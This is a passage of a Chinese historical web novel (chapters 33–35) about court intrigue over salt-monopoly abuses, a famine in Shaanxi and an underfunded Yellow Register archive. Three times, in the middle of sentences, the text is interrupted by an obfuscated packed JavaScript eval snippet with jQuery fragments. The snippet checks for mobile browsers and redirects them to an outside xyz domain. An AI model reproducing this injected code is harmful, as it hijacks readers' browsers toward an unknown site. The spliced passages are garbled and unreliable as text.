季无忧和甘清于那里交谈一番之后,只觉趣味相投,便时常互寄文章相互品鉴。
这么一来二去,算是结下了不解之缘。
而卢点雪的那篇文章,也正是甘清夹杂在这些信件中送来的。
彼时季无忧阅后只觉大为惊人,一眼就看出这不是出自甘清的手笔,连连追问友人此篇文章的作者。
一开始甘清还故作神秘,藏着掖之不肯说,直至关子卖够了,这才道出作者是崇正书院里一名即将赶考的学子。
季无忧一听更是高兴,急切写信问道此人是否有师传。若是没有,他可将其收为门生。
但他这一封信发出后,甘清突然就不回了。
季无忧急得连发数封追问,甘清方才幽幽地回复道此举不成,该学子早已被收至李卓吾门下,连改认云离相为师都不愿答应。若强逼他改换门庭,不妥。
季无忧有心想拉拢此人,却又怕卢点雪师傅的事儿让阁老知道,一时间左右为难。
所幸甘清没让他为难,另想出了个法子。
约定门生的风险太大,不如直接让张天如向阁老递推荐状的时候加上个卢点雪的名字,再以转荐的形式递到季无忧手中。
这样既不会泄露二人暗箱操纵的事,也能让卢点雪在一众学子中鱼目混珠过去。
如此两全其美的事儿,何乐而不为?
然而卢点雪在琼林宴上的表现,着实是超出了他们的预料。
估计连甘清都没料到卢点雪竟会有此般志向。
要怪只怪,卢点雪的才学实在是太过突出了。
连中三元,一举夺魁,琼林论道,舌战群儒。
若是其中任意一项都未曾达到,她也不会如此响当当的,堂堂正正地在文武百官面前自爆女子身份,为恩师正名。
“你既这么做了,就要有承担后果的觉悟。赵除佞和梁纲本就视我们为眼中钉,如今你又搞了这么一出,日后难保不会被他们发现。”
听完季无忧所说的话,萧锵的神情并没有多大变化,只淡淡地道了这么几句。
“学生惭愧。此事系学生一人所为,有什么事全由我担着。”
“仅凭一篇文章,你就下决心收她作学生了?”
“阁老,文章憎命达啊。”
季无忧长叹一声。
“……”
萧锵不语。
半晌,他方叹息道:“后悔吗?”
听到老师这么问,季无忧有些意外。
不过也只是迟疑了一瞬,立即摇头,语气坚定道:
“不悔。人是我主动要去要的,会出现如今这般的变故,我认了。”
季无忧说完此话后,萧锵并未有其他的反应。
他只静静地望着季无忧,那双略显疲态却还清明的目光,沉着地落在眼前这位,他最为得意的学生身上。
“我问的是你后不后悔跟着老夫走上这么一条路,没问你后不后悔招揽卢点雪。”
季无忧垂着头,本以为会迎来老师的责骂,未料萧锵却轻笑一声,继续道,
“你若是真后悔了,那老夫才是最该后悔的那个。悔不该点了卢点雪的卷子进一甲,悔不该昨日让通政司给林家茶楼盖了章。”
闻言,季无忧诧异抬头。
“老师,您的意思是——”
“不知你有没有发现,她很像你。”
萧锵仔细地端详着季无忧,面上浮现出一股怀念之色,
“像那个初进朝堂,初出茅庐的你。那时你也如她这般意气风发、壮志凌云,不撞南墙不回头。”
“老师又在取笑学生,”季无忧无奈叹气,“那时还是太过年轻了,只希望后人也能早点醒悟,少走点弯路。”
“是啊,手中没点权,要拿什么去实现自己的抱负?”
萧锵轻笑一声,“李卓吾那被烧了的女子学堂就是个例子。若不是他生前结交了众多名士,卢点雪的下场恐怕就没今日这般幸运了。”
“没有权,那么在官场上就会举步维艰,孤立无援。是乐意在暗处苦心孤诣,默默无名个几十年,还是乐意在明处汲汲为营,大权在握风光无限?”
萧锵摇摇头,颤巍巍地站起来,亲自将季无忧扶起。
“难为你如此费心,也不知她卢点雪明不明白你这片苦心,之后她可莫要在东厂的拷问下招了才是。我瞧她这脾气怕是比她老师还要犟上个几分,哎,也不知谁能劝得动她。”
“皇上如此护着她,想必不太会让她在诏狱里待太久。”
“那也不一定,你也不想想北镇抚司是谁的天下。”
“阁老的意思是——”
魏与归错愕,似是有些不敢相信。
“毕竟西直门那的小宦官们都喊他九千岁了,我们这小皇帝,也不过才万岁啊。”
萧锵眼中闪过一丝深沉,目光饱含深意地向窗外望去。
此时此刻,萧阁老口中的这位“九千岁”,正在文华殿内批红。
傅谊就站在他的旁边,气得团团转,围着赵除佞愤愤地走了一圈又一圈,拍案大怒道:
“为什么山西和河南不肯借官粮给陕西?!我外爷从蜀地买来的粮都运到了陕北,怎么陕西和河南的布政司到现在都没个声响!”
“主子息怒,万万不要气坏了身子。”
赵除佞冷静地从地上捡起被震落下来的奏折,理了理内页,复又恭恭敬敬地呈在御案上。
“万岁爷又不是不知道这些文官们的规矩,各省间不轻易协济,能用本省的财力自行解决问题就不可再得到援助。再者调粮也不是件易事儿,要收缴,要发送,要押运,要下卸,这些损耗也不是一星半点儿。”
“更何况京察在即,这些财政杂项也是算在考察之内的。若是有人因为借粮而弄得自己区内不太平,那就得不偿失了。”
“那江南的漕运呢?常言道苏湖熟天下足,从江南那里调一些也可以吧?”
傅谊不满道。
“不可,江南离陕西太远,且江南本就承着国内大半的赋税,眼下又到了农忙的季节,若再将大半人力调至漕运当中,怕是要引起民变。”
“这不行那不行,人都快被饿死了,还在斤斤计较这些?哦,他们是安生了,反正陕西要是闹出民变,国库亏空,都不碍他们事儿!”
傅谊越想越气,连眉头都拧在了一起,语气也急躁起来。
陕西这边调不来粮,辽东那边建州女
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505110|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真又虎视眈眈。蓟辽总督为修筑关宁锦防线而大兴土木,每年都耗费五百万两以上的银子。
国库本就空虚,且辽军缺饷已历三年,若不是梁纲所提议的矿税与商税收上来了不少,又裁撤了各地驿站,才能把拖欠着的银子先发上个一半,以解决燃眉之急。
这便是今日傅谊会同意赵除佞要拍卖在皇宫中骑马特权的原因。
再者,因西南的奢安之乱一直得不到解决,他的舅母昆将军则主动请缨,亲自领兵前去成都平乱。
舅母今日临行前与他说了个条件,那便是无论如何也要保住卢点雪。
纵算朝堂上再容不下这么一位奇女子,她的女子军中也能为卢点雪留有一席之地。
傅谊当场就答应了,并郑重承诺自己定要打破这死气沉沉的朝纲。
结果他刚把舅母送出城,一脚踏进宫中时,赵除佞就急急地捧着山西河南拒不调粮的奏疏过来了。
同时送来的还有宗室向他奏讨残盐的题本。
傅谊看了没几行就扔给赵除佞,让他直接留中,以后也不用再送过来过目了。
就在赵除佞刚耐心地将飞出去的奏疏给拾回来整理好,傅谊像是想起了什么似的,又招呼着赵除佞把它们翻开,让他挑重点讲。
“所以宗室为什么要跟我讨要残盐?这残盐是什么,他们拿了有何用?”
傅谊始终不解其意,发问道。
“回主子,残盐原是指场盐因堆积年久,经风雨销蚀而残余之盐,可用来免纳盐课,低价开中,有时也可将余盐冒称为残盐。”【1】
“原来如此,那残盐与余盐不是同一回事儿。我记得宪庙为整治盐政,有过余盐买补制,允许灶户将上缴朝廷的正盐以外的部分卖予盐商。”
“立国初年,朝政是不允许盐商与灶户私下接触进行食盐交易的。故而灶户所生产出来的余盐则由朝廷统一收取,并给予灶户一定补偿,以保障其能正常生活。”
“但介于后来朝廷对灶户的补偿越来越少,灶户也就不愿将余盐卖予官府,宁肯冒禁私卖。到了宪庙时期,既由于私盐盛行,又由于盐商长期守支而边储亏损,继宪庙而立的孝庙才不得不放宽标准,允许盐商以余盐补买正课的形式向灶户直接购买余盐,但其前提是盐商必须有引纸在手,且尚未支盐。”
“但这不就更奇怪了,宗室不得为商,他们又不是盐商,要拿残盐引做什么?”
傅谊更是觉得困惑,忍不住问道。
不过这一次,赵除佞没有回话。
傅谊紧紧盯着赵除佞的面庞,见他仍是一副守口如瓶的模样,逐渐回过了味儿。
“你不想得罪人,那便由我来说。”
傅谊面色骤冷,冷哼一声,
“商人买余盐补官引,而免其劝借。不管是十年前的守支者还是五年前的守支者,朝廷亦允许其买补。官府控制买补的余盐,让盐商以余盐补正课减少漏私,不可谓不是件两厢情愿的事儿。而现如今这些奸商权贵的胆子可真是愈发得大啊,把余盐冒称为残盐,都敢借残盐大肆引带私盐了!”【3】
傅谊正欲大发雷霆,未想赵除佞却是“扑通”一声跪了下来,捧起一本折子,向傅谊膝行而去。
“主子万岁爷息怒,还请您先看看这一本。”
“这又是——?”
“盐务司上的折子,说的正是两淮正盐盐引大壅,无盐可给了。”
33. 第 33 章
“两淮都盐引大壅了,他们还有颜面来向朕讨要残盐?”
傅怒极反笑。
“到了无盐可给的时候才啃吱一声儿,内阁早干嘛去了?我朕就不信盐务司之前没有给内阁递过奏章。”
“阁老估计也是体恤陛下辛劳,先前又是西南土司叛乱,又是陕西山东大旱,事情总得分个轻急缓重,一件一件来。”
赵除佞沉声道。
傅谊冷哼一声,道:“我看他们倒是一点也不急。这么重要的消息都敢压到现在,怕是知道事情不能再拖了吧?依你之见,该当如何?”
“回主子,当务之急还是先补齐辽东的军饷,然后是西南昆将军的军需。至于两淮盐引和陕西借粮,不妨让山西的晋商或其他地方的商帮先去运商粮开中,允许其提早拿盐引变现,之后再压一压山西和河南的官员,让他们随即用官粮补上。如此一来,两难自解。”
傅谊对这个结果甚为满意,点头称赞不已:
“好,甚好!那这些便都交由你来处理。待朝中选出个合适人选去淮扬主持盐政,我朕定要去好好教训下那些奏讨残盐的宗室。”
不过此言却是遭到了赵除佞的反对。
“此事不宜由陛下亲自出面,毕竟讨要残盐也是宗室的特权。纵算是两淮盐引壅积,皇上也不该大肆惩戒,传出去未免不好听,不如还是让老奴来吧。若是让朝中御史知道,不知又要以什么罪名弹劾您。”
“也是,还是你想得周到。”
“老奴定不辱使命。”
如此一来,傅谊便全然放心地将这些事情都交给赵除佞来处理。
北镇抚司做事也甚为迅速,几日不到便让那几位带头奏讨残盐的宗室连连上疏请罪。
虽说朝中弹劾赵除佞跋扈嚣张,肆意妄为的奏疏霎时如雪花般涌来,傅谊也未曾理会过。
只是偶尔中间夹杂着几则奏本,在声讨赵除佞开矿加税是与民争利,矿监税使搜刮民脂民膏,尤以辽东一带受害最甚。
谊也曾拿着它们问过赵除佞是怎么一回事。
介于赵除佞的认错态度素来诚恳,坚决保证定会管好手下人,让司礼监的太监们盯紧点,傅谊这才放下心来。
故而每次朝会议事,他都会轻描淡写地避过赵除佞的不端之处。
近些时日,朝廷政务皆由赵除佞定夺,傅谊顿时清闲了不少。
在宫里闲逛时,他偶然撞见了岳棠棣和傅谦两人。
傅谊心中顿时起了吓他们一下的心思,就悄悄地跟在二人身后。
不料跟着跟着,他发现这俩人身形鬼祟,面有慌色,傅谦更是差点儿就把心虚给写脸上了。
傅谊汗颜,简直没眼看,便站出来大喊一声:“呔!你二人在此干什么!”
傅谊这一吼,直接把傅谦吓得往后一蹦,腿都软了几分。
岳堂棣倒还算镇静,强颜欢笑地对着傅谊打招呼:“皇上好久不见,今日怎有空出来晃悠了?”
傅谊狐疑地打量着二人,轻轻哼了一声。
“别装了,说说看,又做了什么见不得人的坏事?可别让太后娘娘知道了,不然可是一顿好打!”
方才他可全瞧见了,岳棠棣与他讲话时不动声色地把什么东西拢到袖口里。
这话不说不要紧,一说傅谦就为慌乱,手不自觉地攥紧了衣袖,眼神颇为闪烁。
傅谊见状直接一愣。
“不会吧?莫非你们真惹出什么大事了?”
他刚刚只是想吓唬吓唬两个小孩儿,没想到傅谦竟是这般反应。
“不不不,皇上,是谦儿太紧张了,你且听我解释!”
岳棠棣连忙将手中藏着的东西从袖中抖出,同时不忘恨铁不成钢地瞪了眼傅谦。
傅谊凑上前来一望,蹙起眉头。
“这不是西洋人进贡的千里吗?之前我不是赏给棠棣一个,怎得还如此鬼鬼祟祟?”
傅谦怯生生回话:“是这样的,皇兄,我和棠棣在摆弄它时一时好奇,就忍不住拆了,不想却拼不回去了……”
闻言傅谊低头瞧了瞧,有些纳闷:“这不是还好端端的吗?”
“是宋司直帮我们修的。恰逢前两日宋司直有事来府上,就顺势就帮我们看了看。这毕竟是御赐之物,又是外来进贡的精贵玩意儿,实在损坏不得啊!”
岳堂棣连连解释道,引得傅谦在旁连连点头。
“不过就是件我送人的礼物罢了,大不了坏了我再寻人去修便是,何须如此小心翼翼。”
傅谊不屑地一撇嘴,显然未将这点小事放在心上。
想起二人刚刚说过的话,他话锋一转,奇道:
“你是说,是宋司直帮你们修的?怪哉,这千里镜他在宫中也就摸过几次,竟懂得修理之法?”
“其实宋司直说了,他也不太会,只能尽力而为。”
傅谦是个老实的,话没问几句就已全盘托出。
“但是他说他最近在跟徐侍郎学习西洋人的技法,不妨一试。若是还不放心,他提议我们可以到文华殿内,偷偷地寻一张皇兄桌案上写有外文的解释说明,待我们临摹一番后再交由徐侍郎去翻译。”
“果然是他出的馊主意。”
傅谊露出一个果真如此的表情。
“何须这般大费周章,我自个儿也能看懂。回头待我翻译完就让你们带给他,就不必麻烦徐侍郎了。”
“是。欸,怎么皇兄也会些外语?先前我们怎不知道?”
岳棠棣人小鬼大,转眼就发现了不对劲之处。
“嗯……因为我朕好奇西洋人的生活,所以就私下向徐侍郎打听了不少,顺带着也跟着他学学西洋人的话。”
傅谊岳随即意识到了话中的不妥之处,眯眼警告道:“岳棠棣,这你可不许告诉你爹!不然我就把你拆了御赐的千里镜的事告诉舅父!”
“好说,一切好说。”
岳棠棣讪讪一笑,而后正色道:
“对了皇上,你让宋司直查的事有眉目了。宋司直说,那茶商林凡安的父亲正是因开中法而久久支不到盐,这才落至破产的境地。”
“奇怪,他家籍贯可是在扬州,祖辈又是世代从事盐运,更是因开中法而发家,应是早就与官府打点好了关系,怎就单单到了他父亲这代就不行了?怕不是得罪了什么人?”
傅谊困惑发问。
“宋司直料到皇兄会这般问,于是就提议让皇兄选一个靠得住的人去当两淮巡盐御史
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505111|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,把盐政处理完后再去巡盐收盐税。介时,他可以借此人职务之便找个由头跟过去,再悄悄调查林凡安的来历。”
“我手下可没什么人能用,想用的那个卢点雪至今还在诏狱里关着。更何况若是再让赵除佞的手下去担任此职,他这边又是收商税又是收矿税的,到了扬州可不得被那群富商剥了皮?”
一谈及到盐政,傅谊就不禁愁眉苦脸起来,随即像是想到了什么,疑惑开口道:
“不对啊,宋穆安为什么不当面和我说这些,偏生要让你们两个半大的小毛孩儿来传话?我不是给了他可以自由出入皇宫的令牌吗?”
这一次是傅谦答的话:
“因为这几日厂公加紧了对出入宫门者的搜查力度,宋司直碍于身份不好多次往来皇宫,避免厂公生疑,故而就托我们来传话。反正我俩还是小孩,司礼监的人也没把我们太当回事儿。”
说完,他睁着双大眼睛,不解地盯着傅谊,“皇兄,为何厂公要集东厂之力,大肆搜捕那些奏讨残盐的宗室?”
怎么又是在问这事儿,傅谊不免有些烦躁,但还是耐心解释道:
“那是因为这些权要与奸商勾结,以不正当的手段来谋取厚利。他们不但奏讨盐引,垄断了绝大部分的残盐,且旧引不缴反复使用,甚至一引有用至十年的。听盐务司奏报,手法之一是买窝卖窝、坐享其成;手法之二便是并包夹带,增重掺私。”【1】
“本来开放余盐之禁允许买补,是为了给守支的正盐商人一些好处,激励他们支持开中法。”
“但至余盐奏讨成风、影射夹带成习后,情况就变了。余盐之利十之八九落入权贵奸商之手,而这些人是择地自便,越次先支,任场买补,把便宜占尽。于是盐场就缺乏足够的余盐供正当商人买补,商人只好株守空等,久不得盐。”
“即使支到了盐,由于权贵奸商请领得来的残盐、余盐,还有零盐、所盐,以及漏税夹带的私盐,大量涌入市场,销路被占,价银高、需索多的正盐和正当途径买补来的余盐滞而难销。如此,无所获利的商人就多不愿中盐,正课日益耗绌。”【2】
“正盐盐引壅积便是这么来的。一方面是因正盐销路被余盐所占,另一方面是因正盐的盐引大量积压,卖不出去,卖出去的盐引也长久支不到现盐。守支既成畏途,已经支掣到手的正盐销路又被余、残、零、所、私盐侵夺,商人们对中盐兴趣锐减。引以纳课,引既不销,课从何出?”
“原来如此,那奏讨残盐的宗室可真是不体恤百姓!可皇兄也须得留意,莫要让赵除佞动用东厂私刑,屈打成招啊!”
傅谦诚心劝告道。
“放心,他还没那么大胆子,顶多是把人关进诏狱里吓唬一通罢了。”
傅谊一脸的不在乎。
“更何况我也仔细留意了一下那几位上疏请罪的宗室,个个哭得中气十足,哪像是受了刑的?”
“那便好。只是母后仍有些不放心此人——”
傅谦还想说些什么,傅谊却不耐烦地挥了挥手,随意敷衍道:
“知道了知道了,你让娘放心就是,我自有分寸。”
“好,有劳皇兄了。那我和棠棣告辞。”
“走好,不送。”
34. 第 34 章
兴许是赵除佞的作派太过雷厉风行,朝中反对他的声音已不绝于耳。
不光如此,这些御史们弹劾赵除佞的同时,没忘了对小皇帝进行批评和谏言。
不过这对早已练就一副厚脸皮的傅谊来说,可谓是无足轻重。
他反倒十分在意,主持盐政这般的大事,崇正党几乎没有任何动静。
事出反常必有妖,是以傅谊打起了十二分的精神来应对。
然而崇正党的招数他还没等到,倒是等到了金陵监察御史的风闻奏报。
御史言,有一与赵除佞相交好的镇守太监前往南方收商税,路过后湖时硬是让内监开锁过太平门。
且此人在梁洲逗留半日,不知意欲何为。
后湖上毕竟可是存着掌管全天下人口与土地的黄册库与鱼鳞图册库,傅谊不敢掉以轻心,即刻命那名镇守太监回京问话。
那太监显然是有备而来,底气十足地说自己上梁洲是奉东厂厂公之命,前来调查金陵户部主事侵占后湖湖田一事。
户部侍郎萧藩一听,想起了这回事儿。
去年金陵守备太监因长江芦场利益问题,与御史们打得不可开交。
彼时御史们稍占上风,守备太监不甘示弱,便指使手下控诉户部主事和户科给事中利用太平门和神策门的石闸偷引水利,占种湖田。【1】
不过此事是发生在先皇驾崩,先太子薨逝之际,京中忙得不可开交,根本无暇再来管这些小事。
反正后湖黄册库是个冷衙门,内阁也懒得多花心思,故而就让金陵六部先自行处理一下。
金陵那也很快就给出了解决措施,只是萧藩不知后续如何,倒让赵除佞钻了空子。
于是这事的性质便由镇守太监擅闯后湖禁地,变为金陵户部官员趁职务之便侵占后湖湖田。
然而当黄册库的最高长官,金陵户科给事中被召进京问罪时大喊冤枉。
他一把鼻涕一把泪的,说是后湖黄册库实在没钱,这才被迫如此。
他表示,前几年金陵的江宁上元二县遭灾,黄册库便不敢再轻易将黄册库的开销费用摊销在两县之上。且各地应缴驳费还拖着不肯交齐,收上来所剩不多的驳费,还又被金陵织造等其他官府借故挪用周转。
而黄册库是个冷衙门,弄不到什么钱,所以黄册库里的小官就时常打点柴薪,捞点鲜鱼来补贴开支。
再说每年冬天,金陵的司礼监都派专门的渔船不定期来湖后捕鱼,以供给官员用度,他们便是借着这个当儿混进来的。
但自从去年六部整治黄册库,规定司礼监限定捕鱼的日子,并将柴芦送应天府收贮,以备修理本库支销,算是彻底断了黄册库各级人员赚外快的门路,还平白无故让他们额外多了一大堆工作。
事已至此,为维系营生,他们才不得不打开太平门和神策门的石闸,偷引水利。
傅谊听完这一长串的来龙去脉,差点儿晕了头。
过了半天,他才后知后觉地发现了不对劲之处。
为何后湖黄册库的开销费用会摊销在金陵的江宁上元二县之上?难道户部就没有给黄册库单独的预算?
傅谊想想也觉得不太可能,对金陵户科给事中的话深表怀疑。
这后湖黄册库说白了就是个大点的藏书库,这藏书库自己能赚什么钱,还不得靠朝廷拨款?
库阁册架的日常修葺得算上吧,管库人役的吃喝拉撒也得算上吧;后湖上的各岛仅能靠船只来往,这器具船舶的购买与修缮也得算上。
当然各层官吏的薪俸廪米这也得算在内。
开销如此浩大,户部竟然一文不拨?
还有这户科给事中所提到的驳费是什么?又是哪些人一直拖着不交驳费?
面对傅谊连连的追问,金陵户科给事中支支吾吾半天,听得萧藩很是不耐烦,干脆直接替他答了。
根据太/祖爷定下来的祖制,后湖黄册库开销确实没有单独的预算,是由各处拼凑而出的。
黄册库所有的官员,以及负责驳查黄册真伪的国子监监生相关文出由国子监负责。若是不够,则由都税司以及江宁、上元二县补足。
纸墨之类的文具支出,由刑部、都察院负责,若是依旧不够的话,再由应天府补足。
房屋、册架、过湖船只、桌椅板凳之类,由工部负责添造修理;至于其他政碎支出,则由户部负责。
换言之,如果国子监的钱不敷,就从都税司和江宁、上元二县调拨;如果果刑部、都查院的钱不敷,就从应天府调拨。
如此设计,自然是因为每个部门每年的结余款是不固定的。万一不够,还有下家可以支应,总归有人会托底。
傅谊听后瞠目结舌,完全没想过这一小小的黄册库竟然需要七八个衙门来养活。
或许太/祖的初衷是好的,每个衙门的经费肯定会有结余。把七八个衙门的结余汇总起来,就可以在不增加支出的情况下养活黄册库。
一不至于浪费各衙门的余钱,二不至于再从百姓身上征敛。
但很显然,太/祖忽略了一个很重要的问题。
既然黄册库由各个衙门出资凑活,那也就说明,并没有一个能直接负责的部门可以与黄册库对接。
这些衙门又不对黄册库负责,又不涉及他们的切身利益,除去户部和国子监负责的部分,姑且算是本营业务,那么像刑部、都察院、都税司之类的机构,几乎和黄册库扯不上什么关系,自然也不愿意每年都给钱。
于是乎,供养黄册库的费用就这样一层层地被转移。
从国子监推给都税司,都税司推给江宁、上元二县,户部推刑部,刑部推都察院,都察院推应天府。
应天府自然也往下甩锅,又推给下辖的离后湖最近的江宁、上元二县。
最终受苦的,不外乎是江宁、上元县的百姓。
傅谊即位不到半年,各级官员在他眼皮子底下推诿卸责的事儿不在少数,迫使他不得不正视这些沉疴痼疾。
官员的品性固然是一方面因素,但他觉得,究其根本,更重要的还是那些早已不合时宜且腐朽不堪的制度。
读卷仪上,他之所以有意于点卢点雪为魁首,就是因为卢点雪的策论主张民生和变法,且字字句句直击要害。
之前朝中反对卢点雪为的那群人,怕的估计不仅仅是她曾为狂僧李执的学生,而是忌惮她在策论中所提及的内容。
这一点,只有次辅魏阁老点了出来。
而旁人则以礼义廉耻作为遮掩,借此攻讦卢点雪,企图让她屈服在这满是桎梏的世道下。
至于崇正党为何也要保此人,傅谊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505112|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
猜测,可能还是萧阁老未曾将一个女子放在眼里。
他老人家兴许是觉得卢点雪是把趁手的刀,同时也是颗可任意拿捏的软柿子。
而现如今冒出来的后湖黄册库一事,傅谊以为,不妨作为他入手维新的切口。
“若是依此惯例,户部一旦没钱,黄册库的费用就还是会落到百姓头上。两县的民力终究有限,又怎能受得住你们一次又一次地敲骨吸髓?这岂不是与太/祖的本意背道而驰?!”
傅谊一声怒喝,吓得那名金陵户科给事中长跪不起慌忙解释,语气甚为委屈:
“陛下息怒,臣与同僚也曾向金陵户部寻求支援。户部也是依例行事,行文给吏、礼、刑、工四部、并国子监、应天府、都税司、上元、江宁两县,让他们照例斟酌取用。然而最终无人理睬,皆以本部不敷为由踢回给户部。”
“先皇在位时,户部想起下辖的衙门里有个龙江盐仓检校批验所收储着大批专卖盐货,以供整个南直隶地区的用度。”
“户部查阅一番后发现,此时仓库里还有五十四万八千六百斤余盐,便也顾不得旁的,向先皇如实报备了情况。之后先皇的批文里也准许我们变卖余盐,所得银钱挪用于补修损耗的黄册。”
“所以如今两淮盐引大壅、无盐可给的局面,你们后湖黄册库也出了力?”
傅谊居高临下地望着金陵户科给事中,眉毛一挑,意味深长地说了这么一句。
那人闻言,头埋得更低了。半晌,才羞赧开口道:
“先皇有诏曰,以后续收余盐,照旧折给官员俸粮,难准再用,臣等自会竭力为之,不再重蹈覆辙。”
“所以你们就去偷摸着打鱼?这能打几个钱,不如以后就在后湖以打鱼为生了。”
傅谊听后只觉得好笑,刚忍不住出声嘲讽一下,就被立在一旁的程国泰以眼神狠狠警告了一番。
察觉到舅父不善的目光同时也向他投来,傅谊不得不故作深沉地清了清嗓子,继续道,
“那驳费是何物?你且细细说来。”
“回陛下,驳费就是罚款。每次新黄册入库,都是由国子监监生来驳查。凡是驳查出了问题的黄册,不光会被打回原籍勒令重造,当地负责造册的衙门也要被罚款。这笔驳费从金陵户部转寄给应天府,而黄册库的开销就从这笔钱里支取。”
“原来如此,那我朕也算明白了。现如今你们黄册库的资金,可是全仰仗于各地本应上缴的驳费?既然如此,那各地重新攒造的黄册是否也拖着没交齐?”
“正是。”
“上一次大造黄册是在什么时候?”
“是靖安二十七年。”
“哦,那也就是说明,整整八年,地方都没重造完?莫不是还想拖到两年后的下次?”
“……”
这一次,金陵户科给事中没敢再答话。
皇上语气中的怒气都快压抑不住了,他哪敢再火上浇油。
他身上的冷汗早已打湿了后背的公服,不由瑟瑟发抖起来。
“好啊,好啊,胆子真是愈发大了。”
傅谊缓缓从龙椅起身,在众人惊恐的目光下走到金陵户科给事中面前,皮下肉不笑地说道,
“别在心里打那小算盘了,抬起头,看着朕!现在就给朕把这一笔笔烂账算清楚!”
35. 第 35 章
正当傅谊勒令着金陵户科给事中把所有拖欠黄册和驳费的省份列下来,顺便再汇报下近期的清查情况时,朝中早已就黄册库一事吵得沸沸扬扬。
反倒是忽略了金陵的监察御史到底是因何事而风闻奏事。
此时傅谊无甚心情去理会这些,眼前只紧紧盯着金陵户科给事中手下的那支笔。
“敢问陛下,还要微臣把黄册库的近期清查情况尽数写下来吗……?”
金陵户科给事中的笔略微顿了顿,试探性地问了这么一句。
傅谊没有发话,一双眼颇为危险地眯了眯,其中的含义不言而喻。
不消多说,金陵户科给事中立即垂下头,片刻都不敢停下,生怕傅谊的下一句话便是让赵除佞把他打入诏狱。
金陵户科给事中的笔杆子很快,密密麻麻的字转眼就写满了一张纸。
傅谊目不转睛地一一看过去。
湖广、四川、福建、广东、山西、云南,六个司一共五百一十七个缴册衙门,居然一本都没送到。
似是察觉到了傅谊快要杀人的目光,金陵户科给事中禁不住打了个哆嗦:
“陛下——!”
“继续,没让你停就继续写。”
“是,是。”
金陵户科给事中擦着头上的汗,提笔道:
“库房所存八十余万本黄册,多有虫蛀浥烂……”
“多有虫蛀浥烂,究竟是烂了多少?不是才说黄册库清查了一遍,你怎倒一点也不清楚?”
“陛,陛下,微臣这就写——在库黄册七十九万两千九百本,有虫蛀浥烂以及损坏痕迹者,六十四万七千三百本……”
一共就七十九万两千九百本,竟坏了六十四万七千三百本。
也就是说,有八成黄册都出了问题。
傅谊冷笑一声,复又坐回龙椅。
赵除佞离傅谊最近,又是最懂察言观色。
他一见傅谊面色不对,旋即就给司礼监的太监们使了个眼色,让他们把金陵户科给事带到一旁去写,自己则将已经写完的纸张都整理好,分别呈至内阁的大学士们。
魏与归拿了几张,眉毛深深地拧了起来。
看得出来,黄册库是真的不甘心。
比如南昌府丰城县应缴纳驳费四百三十七两九钱五分,但只送到了二百六十二两七钱七分,截留了一百七十五两一钱八分。
再比如吉安府龙泉县,应缴纳一百九十二两九钱,只送来一百一十五两七钱四份,截留了七十七两一钱六分。
袁州府宜春县,应缴纳一百三十四两,只送来八十两四钱,截留了五十三两六钱。
简直是触目惊心。
岳渊峙与季无忧接过后,面面相觑,彼此的眼中都能看到震惊之色。
唯有首辅萧锵摇头拒绝,示意赵除佞直接将他们交给户部尚书。
户部尚书也不推辞,尽数接过,一张一张地仔细瞧着,面色逐渐凝重。
唯有小阁老萧藩一张也没领到,心中正纳闷着,就见赵除佞早已利索转身,耀武扬威般地立在傅谊身旁。
他顿时心头火起,却又不好当场发作,只能恶狠狠地剜了赵除佞几眼。随后毫不客气地上前几步,从户部尚书的手中抽出最底下的一小沓,自顾自地看了起来。
傅谊坐在高处,将底下所有人的神情变化都看得清清楚楚,自然也没漏掉萧锵的一举一动。
比起早已被气得面红耳赤的萧藩,萧锵实在是太过平静,甚至可以称得上是无动于衷。
就像是一口深不见底的老井,深不见底,毫无波澜。
傅谊一直对这位资历最深的阁老颇为忌惮,遂十分谨慎地开了口:
“首辅为何不看?”
“回皇上,老臣不是不看,而是无颜去看。”
出人意料的是,萧锵支着拐杖从座凳上起身,拒绝了季无忧和萧藩的搀扶,颇为费劲地跪了下去,
“我等为臣者,自然先为社稷计。”
“老臣身为内阁首辅,却未尽首辅之责,以至国事糜烂,积弊已久,财政赤字,多如泰山,实在是有愧于皇上及先帝之厚望。”
“何况金陵后湖黄册库一事,内阁脱不了干系,而犬子系为户部侍郎,未能提早觉察,是其失职之过,亦是老臣教子无方之过。虽有不移白首之心,奈何迟暮之年,不宜再任首辅一职。故臣欲挂冠解绶,愿乞骸骨,避贤者之路。”
此话一出,满座皆惊。
除了突然被父亲按头定罪的萧藩一脸茫然,尚未消化得过来这接二连三的转折,季无忧是最先反应过来的,连连呼道“阁老,万万不可!”。
随即旁人也跟着他附和道,一同为首辅向傅谊求情。
